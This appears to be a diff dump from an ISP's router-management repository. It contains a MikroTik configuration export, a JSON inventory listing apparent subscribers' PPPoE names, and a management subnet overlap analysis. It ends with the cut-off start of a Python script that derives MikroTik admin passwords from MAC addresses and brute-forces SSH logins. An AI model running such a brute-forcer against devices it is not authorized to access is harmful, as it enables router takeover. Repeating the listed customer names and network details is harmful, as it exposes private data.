connection-mark=eweka-conn new-routing-mark=tmo passthrough=no
|
||||
/ip firewall nat
|
||||
add action=src-nat chain=srcnat connection-mark=plex-out disabled=yes \
|
||||
out-interface=*14 src-address=10.0.16.1 to-addresses=204.110.191.1
|
||||
add action=src-nat chain=srcnat disabled=yes src-address=10.0.16.5 \
|
||||
to-addresses=204.110.191.1
|
||||
add action=src-nat chain=srcnat out-interface=ether5-vntx-static src-address=\
|
||||
10.0.16.1 to-addresses=204.110.191.1
|
||||
add action=masquerade chain=srcnat disabled=yes out-interface=all-ppp \
|
||||
src-address=10.0.16.0/22
|
||||
add action=masquerade chain=srcnat out-interface=ether6-tmobile \
|
||||
src-address-list=!iot-blocked
|
||||
add action=masquerade chain=srcnat out-interface=ether5-vntx-static \
|
||||
to-addresses=204.110.191.1
|
||||
add action=dst-nat chain=dstnat comment=channels dst-address=204.110.191.1 \
|
||||
dst-port=8089 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||
10.0.16.1 to-ports=8089
|
||||
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
|
||||
dst-port=32400 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||
10.0.16.1 to-ports=32400
|
||||
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
|
||||
dst-port=58732 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
|
||||
10.0.16.184 to-ports=58732
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=8096 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
|
||||
to-ports=8096
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=tcp \
|
||||
to-addresses=10.0.16.1 to-ports=25565
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=udp \
|
||||
to-addresses=10.0.16.1 to-ports=25565
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=8920 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
|
||||
to-ports=8920
|
||||
add action=masquerade chain=srcnat disabled=yes src-address=172.17.0.0/24
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=10.0.19.254 \
|
||||
dst-port=8080 protocol=tcp to-addresses=172.17.0.2 to-ports=80
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=51413 protocol=tcp to-addresses=10.0.16.1 to-ports=51413
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=51413 protocol=udp to-addresses=10.0.16.1 to-ports=51413
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=8096 protocol=tcp to-addresses=10.0.16.1 to-ports=8096
|
||||
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
|
||||
dst-port=8920 protocol=tcp to-addresses=10.0.16.1 to-ports=8920
|
||||
add action=masquerade chain=srcnat src-address=172.17.0.0/24
|
||||
add action=masquerade chain=srcnat out-interface=ether7-starlink
|
||||
/ip proxy
|
||||
set port=8198 src-address=10.0.19.254
|
||||
/ip route
|
||||
add disabled=yes distance=1 dst-address=100.64.0.0/10 gateway=172.17.0.2 \
|
||||
pref-src="" routing-table=main scope=30 target-scope=10
|
||||
add comment="eweka > starlink" disabled=yes distance=1 dst-address=\
|
||||
185.90.196.0/22 gateway=192.168.1.1 pref-src="" routing-table=main scope=\
|
||||
30 target-scope=10
|
||||
add comment="eweka > tmo" disabled=yes distance=1 dst-address=81.171.92.0/23 \
|
||||
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
|
||||
target-scope=10
|
||||
add comment="newshosting > tmo" disabled=no distance=1 dst-address=\
|
||||
85.12.62.0/24 gateway=192.168.12.1 pref-src="" routing-table=main scope=\
|
||||
30 target-scope=10
|
||||
add comment="eweka > tmo" disabled=yes distance=1 dst-address=185.90.196.0/22 \
|
||||
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
|
||||
target-scope=10
|
||||
add disabled=no distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
|
||||
pref-src="" routing-table=main scope=30 target-scope=10
|
||||
add disabled=yes distance=1 dst-address=204.110.188.0/22 gateway=\
|
||||
204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||
add disabled=yes distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
|
||||
routing-table=main scope=30 target-scope=10
|
||||
add disabled=yes distance=1 dst-address=82.68.15.22/32 gateway=204.110.191.30 \
|
||||
routing-table=main scope=30 target-scope=10
|
||||
add disabled=yes distance=1 dst-address=34.174.59.248/32 gateway=\
|
||||
204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||
add disabled=no dst-address=204.110.188.0/22 gateway=204.110.191.30 \
|
||||
routing-table=main
|
||||
add disabled=no dst-address=100.64.0.0/16 gateway=204.110.191.30 \
|
||||
routing-table=main
|
||||
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.2 routing-table=\
|
||||
main
|
||||
add comment=wigle.net disabled=no distance=1 dst-address=54.70.85.50/32 \
|
||||
gateway=204.110.191.30 routing-table=main scope=30 target-scope=10
|
||||
add dst-address=100.64.0.0/10 gateway=172.17.0.2
|
||||
add check-gateway=ping comment="TMO internet probe" dst-address=4.2.2.1/32 \
|
||||
gateway=192.168.12.1 scope=10
|
||||
add check-gateway=ping comment="VNTX internet probe" dst-address=4.2.2.2/32 \
|
||||
gateway=204.110.191.30 scope=10
|
||||
add check-gateway=ping comment="Starlink internet probe" dst-address=\
|
||||
4.2.2.3/32 gateway=192.168.1.1 scope=10
|
||||
add comment="Default via TMO (primary)" distance=1 dst-address=0.0.0.0/0 \
|
||||
gateway=4.2.2.1 target-scope=11
|
||||
add comment="Default via VNTX (secondary)" distance=2 dst-address=0.0.0.0/0 \
|
||||
gateway=4.2.2.2 target-scope=11
|
||||
add comment="Default via Starlink (last resort)" distance=3 dst-address=\
|
||||
0.0.0.0/0 gateway=4.2.2.3 target-scope=11
|
||||
add comment="tmo table default" dst-address=0.0.0.0/0 gateway=192.168.12.1 \
|
||||
routing-table=tmo
|
||||
/ipv6 route
|
||||
add distance=1 dst-address=2000::/3 gateway=2001:470:1f0e:299::1
|
||||
/ip service
|
||||
set ftp disabled=yes
|
||||
set telnet disabled=yes
|
||||
set www address=10.0.16.0/24 port=1080
|
||||
set api disabled=yes
|
||||
set api-ssl address=10.0.16.0/22 certificate=api-ssl-cert
|
||||
/ip smb shares
|
||||
set [ find default=yes ] disabled=no
|
||||
/ip upnp
|
||||
set enabled=yes
|
||||
/ip upnp interfaces
|
||||
add disabled=yes interface=ether6-tmobile type=external
|
||||
add interface=*14 type=external
|
||||
add interface=bridge type=internal
|
||||
/ipv6 address
|
||||
add address=2001:470:1f0e:299::2 advertise=no disabled=yes interface=*10
|
||||
add address=2001:470:ba50::/48 advertise=no disabled=yes interface=bridge
|
||||
add address=2001:470:1f0f:29a:: disabled=yes interface=bridge
|
||||
/ipv6 dhcp-client
|
||||
add disabled=yes interface=ether6-tmobile pool-name=tmo pool-prefix-length=64 \
|
||||
request=address
|
||||
add interface=ether7-starlink pool-name=starlink pool-prefix-length=64 \
|
||||
request=address,prefix
|
||||
/ipv6 nd
|
||||
set [ find default=yes ] advertise-dns=yes
|
||||
/routing rule
|
||||
add action=lookup-only-in-table disabled=no dst-address=0.0.0.0/0 \
|
||||
src-address=10.0.16.1 table=*400
|
||||
/snmp
|
||||
set contact="Graham McIntire" enabled=yes location=Verona
|
||||
/system clock
|
||||
set time-zone-name=America/Chicago
|
||||
/system identity
|
||||
set name=graham
|
||||
/system ntp client
|
||||
set enabled=yes
|
||||
/system ntp client servers
|
||||
add address=ntp.vntx.net
|
||||
/system routerboard settings
|
||||
set auto-upgrade=yes
|
||||
/tool e-mail
|
||||
set certificate-verification=no from=mikrotik@vntx.net port=2525 server=\
|
||||
mail.smtp2go.com tls=yes user=vntxmikrotik
|
||||
/tool graphing interface
|
||||
add allow-address=10.0.16.0/24
|
||||
/tool graphing queue
|
||||
add allow-address=10.0.16.0/24
|
||||
/tool graphing resource
|
||||
add allow-address=10.0.16.0/24
|
||||
/tool mac-server
|
||||
set allowed-interface-list=LAN
|
||||
/tool mac-server mac-winbox
|
||||
set allowed-interface-list=LAN
|
||||
|
|
@ -1,518 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.109",
|
||||
"identity": null,
|
||||
"timestamp": "2025-10-04T11:01:53.314352",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.254.254.109/32",
|
||||
"network": "10.254.254.109",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.105/29",
|
||||
"network": "10.250.1.104",
|
||||
"interface": "ether1-newhope",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.159.254/20",
|
||||
"network": "10.10.144.0",
|
||||
"interface": "management",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.222/27",
|
||||
"network": "204.110.188.192",
|
||||
"interface": "lowrycrossing",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.201/29",
|
||||
"network": "10.250.1.200",
|
||||
"interface": "vlan_30_sfpplus1_380",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/20",
|
||||
"network": "100.64.144.0",
|
||||
"interface": "lowrycrossing",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "204.110.188.202",
|
||||
"interface": "<pppoe-coyungemach>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.117",
|
||||
"interface": "<pppoe-jenniferdunaway>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.122",
|
||||
"interface": "<pppoe-williambowland>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.114",
|
||||
"interface": "<pppoe-fredheckel>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.123",
|
||||
"interface": "<pppoe-timfisher>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.111",
|
||||
"interface": "<pppoe-dorisavalos>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.118",
|
||||
"interface": "<pppoe-toniyoung>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.127",
|
||||
"interface": "<pppoe-konradwoelffer>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "204.110.188.197",
|
||||
"interface": "<pppoe-elizabethchristian>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.120",
|
||||
"interface": "<pppoe-cynthiasandlin>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.119",
|
||||
"interface": "<pppoe-thomasgraham>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "204.110.188.200",
|
||||
"interface": "<pppoe-ronberger>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.125",
|
||||
"interface": "<pppoe-abbieandrews>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.126",
|
||||
"interface": "<pppoe-helenlumpkin>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.116",
|
||||
"interface": "<pppoe-susanlewis>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.121",
|
||||
"interface": "<pppoe-lanaygaunce>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "204.110.188.196",
|
||||
"interface": "<pppoe-janiscable>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.115",
|
||||
"interface": "<pppoe-nhumorrison>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.124",
|
||||
"interface": "<pppoe-terrymiesen>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.107",
|
||||
"interface": "<pppoe-nicholasterry>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "204.110.188.199",
|
||||
"interface": "<pppoe-leonardlewis>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.113",
|
||||
"interface": "<pppoe-mattbud>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.159.254/32",
|
||||
"network": "100.64.158.112",
|
||||
"interface": "<pppoe-georginacovarrubias>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether1-newhope",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E2:21",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether2 Lowry N",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E2:22",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether3",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E2:23",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether4",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E2:24",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E2:25",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-abbieandrews>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-coyungemach>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cynthiasandlin>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-dorisavalos>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-elizabethchristian>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-fredheckel>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-georginacovarrubias>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-helenlumpkin>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-janiscable>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jenniferdunaway>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-konradwoelffer>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-lanaygaunce>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-leonardlewis>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mattbud>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-nhumorrison>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-nicholasterry>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ronberger>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-susanlewis>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-terrymiesen>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-thomasgraham>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timfisher>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-toniyoung>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-williambowland>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "FA:36:F1:03:59:3F",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "lowrycrossing",
|
||||
"type": "bridge",
|
||||
"mac": "64:D1:54:D3:E2:1F",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "management",
|
||||
"type": "bridge",
|
||||
"mac": "64:D1:54:D3:E2:1F",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether2",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E2:22",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether3",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E2:23",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether4",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E2:24",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether5",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E2:25",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan_10_ether2",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether2 Lowry N"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether3",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether3"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether4",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether4"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether5",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether5"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether6",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether6"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether7",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether7"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_sfpplus1",
|
||||
"vlan_id": 10,
|
||||
"interface": "sfp-sfpplus1"
|
||||
},
|
||||
{
|
||||
"name": "vlan_20_sfpplus1_newhope",
|
||||
"vlan_id": 20,
|
||||
"interface": "sfp-sfpplus1"
|
||||
},
|
||||
{
|
||||
"name": "vlan_30_sfpplus1_380",
|
||||
"vlan_id": 30,
|
||||
"interface": "sfp-sfpplus1"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "lowrycrossing",
|
||||
"interface": "lowrycrossing"
|
||||
}
|
||||
],
|
||||
"routes": []
|
||||
}
|
||||
|
|
@ -1,82 +0,0 @@
|
|||
# Management Subnet Overlap Analysis
|
||||
|
||||
## Summary of Management Subnets by Site
|
||||
|
||||
### 1. **Climax** (10.254.254.102)
|
||||
- **Management Subnet**: 10.10.31.254/20
|
||||
- **Network**: 10.10.16.0/20
|
||||
- **IP Range**: 10.10.16.0 - 10.10.31.255
|
||||
- **Interface**: mgmt
|
||||
|
||||
### 2. **Culleoka** (10.254.254.104)
|
||||
- **Management Subnet**: 10.10.111.254/20
|
||||
- **Network**: 10.10.96.0/20
|
||||
- **IP Range**: 10.10.96.0 - 10.10.111.255
|
||||
- **Interface**: vlan10_ether2
|
||||
|
||||
### 3. **494 Site** (10.254.254.111)
|
||||
- **Management Subnet**: 10.10.175.254/20
|
||||
- **Network**: 10.10.160.0/20
|
||||
- **IP Range**: 10.10.160.0 - 10.10.175.255
|
||||
- **Interface**: management
|
||||
|
||||
### 4. **982 Site** (10.254.254.110)
|
||||
- **Management Subnet**: 10.10.63.254/20
|
||||
- **Network**: 10.10.48.0/20
|
||||
- **IP Range**: 10.10.48.0 - 10.10.63.255
|
||||
- **Interface**: mgmt
|
||||
|
||||
### 5. **New Hope** (10.254.254.108)
|
||||
- **Management Subnet**: 10.10.143.254/20
|
||||
- **Network**: 10.10.128.0/20
|
||||
- **IP Range**: 10.10.128.0 - 10.10.143.255
|
||||
- **Interface**: bridge_cpe_mgmt
|
||||
|
||||
### 6. **Lowry Crossing** (10.254.254.109)
|
||||
- **Management Subnet**: 10.10.159.254/20
|
||||
- **Network**: 10.10.144.0/20
|
||||
- **IP Range**: 10.10.144.0 - 10.10.159.255
|
||||
- **Interface**: management
|
||||
|
||||
### 7. **380 Core** (10.254.254.253)
|
||||
- **Management Subnet**: 10.10.79.254/20
|
||||
- **Network**: 10.10.64.0/20
|
||||
- **IP Range**: 10.10.64.0 - 10.10.79.255
|
||||
- **Interface**: vlan10_combo1
|
||||
|
||||
### 8. **380 Edge** (10.254.254.254)
|
||||
- **No management subnet in the 10.10.x.x range**
|
||||
|
||||
## Overlap Analysis
|
||||
|
||||
### ✅ **NO OVERLAPS DETECTED**
|
||||
|
||||
All sites use different /20 management subnets within the 10.10.0.0/16 range:
|
||||
|
||||
1. **10.10.16.0/20** - Climax
|
||||
2. **10.10.48.0/20** - 982 Site
|
||||
3. **10.10.64.0/20** - 380 Core
|
||||
4. **10.10.96.0/20** - Culleoka
|
||||
5. **10.10.128.0/20** - New Hope
|
||||
6. **10.10.144.0/20** - Lowry Crossing
|
||||
7. **10.10.160.0/20** - 494 Site
|
||||
|
||||
## Key Observations
|
||||
|
||||
1. **Consistent Subnet Size**: All management networks use /20 subnets (4,096 addresses each)
|
||||
2. **Sequential Allocation**: The subnets appear to be allocated sequentially within the 10.10.0.0/16 space
|
||||
3. **Common VLAN**: Most sites use VLAN 10 for management traffic
|
||||
4. **No Conflicts**: Each site has its own unique management subnet with no overlaps
|
||||
|
||||
## Available Management Subnets
|
||||
|
||||
The following /20 subnets within 10.10.0.0/16 are still available for future sites:
|
||||
- 10.10.0.0/20 (10.10.0.0 - 10.10.15.255)
|
||||
- 10.10.32.0/20 (10.10.32.0 - 10.10.47.255)
|
||||
- 10.10.80.0/20 (10.10.80.0 - 10.10.95.255)
|
||||
- 10.10.112.0/20 (10.10.112.0 - 10.10.127.255)
|
||||
- 10.10.176.0/20 (10.10.176.0 - 10.10.191.255)
|
||||
- 10.10.192.0/20 (10.10.192.0 - 10.10.207.255)
|
||||
- 10.10.208.0/20 (10.10.208.0 - 10.10.223.255)
|
||||
- 10.10.224.0/20 (10.10.224.0 - 10.10.239.255)
|
||||
- 10.10.240.0/20 (10.10.240.0 - 10.10.255.255)
|
||||
|
|
@ -1,248 +0,0 @@
|
|||
"""
|
||||
MikroTik RouterBoard Targeted Password Brute Force
|
||||
|
||||
Based on reverse engineered algorithm analysis:
|
||||
- Only tries 256 possible passwords (one per MAC[0] value)
|
||||
- Assumes 0xD0 and 0xFF are fixed constants
|
||||
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
|
||||
- Takes ~2-5 minutes instead of thousands of years!
|
||||
|
||||
Algorithm:
|
||||
PWD[0] = MAC[0] XOR 0xD0
|
||||
PWD[1] = MAC[1]
|
||||
PWD[2] = NOT(MAC[2])
|
||||
PWD[3] = 0xFF
|
||||
|
||||
USAGE: Only use on devices you own or have authorization to access.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
|
||||
|
||||
class MikroTikTargetedBruteForce:
|
||||
"""Targeted brute force for MikroTik passwords."""
|
||||
|
||||
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
|
||||
"""
|
||||
Initialize the targeted brute force.
|
||||
|
||||
Args:
|
||||
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
|
||||
host (str): IP address of device
|
||||
port (int): Port (22 for SSH, 80 for HTTP)
|
||||
use_http (bool): Use HTTP instead of SSH
|
||||
timeout (int): Connection timeout in seconds
|
||||
"""
|
||||
self.mac_address = mac_address.upper()
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.use_http = use_http
|
||||
self.timeout = timeout
|
||||
self.username = "admin"
|
||||
self.attempts = 0
|
||||
self.found_password = None
|
||||
|
||||
def parse_mac(self, mac_string):
|
||||
"""Parse MAC address string into bytes."""
|
||||
parts = mac_string.upper().split(":")
|
||||
if len(parts) != 6:
|
||||
raise ValueError(f"Invalid MAC address: {mac_string}")
|
||||
try:
|
||||
return [int(part, 16) for part in parts]
|
||||
except ValueError:
|
||||
raise ValueError(f"Invalid MAC address format: {mac_string}")
|
||||
|
||||
def generate_password_for_mac_byte_0(self, mac_byte_0):
|
||||
"""
|
||||
Generate password for a specific MAC[0] value.
|
||||
|
||||
Args:
|
||||
mac_byte_0 (int): Value for MAC[0] (0-255)
|
||||
|
||||
Returns:
|
||||
str: Password in format "xxxx-xxxx"
|
||||
"""
|
||||
# Use actual MAC bytes for 1-3
|
||||
mac_bytes = self.parse_mac(self.mac_address)
|
||||
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
|
||||
|
||||
# But vary b0 for brute forcing
|
||||
pwd_byte_0 = mac_byte_0 ^ 0xD0
|
||||
pwd_byte_1 = b1
|
||||
pwd_byte_2 = (~b2) & 0xFF # NOT operation
|
||||
pwd_byte_3 = 0xFF
|
||||
|
||||
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
|
||||
return f"{hex_string[:4]}-{hex_string[4:]}"
|
||||
|
||||
def try_password_ssh(self, password):
|
||||
"""Try connecting via SSH."""
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
print("Error: paramiko not installed. Install with: pip install paramiko")
|
||||
return False
|
||||
|
||||
try:
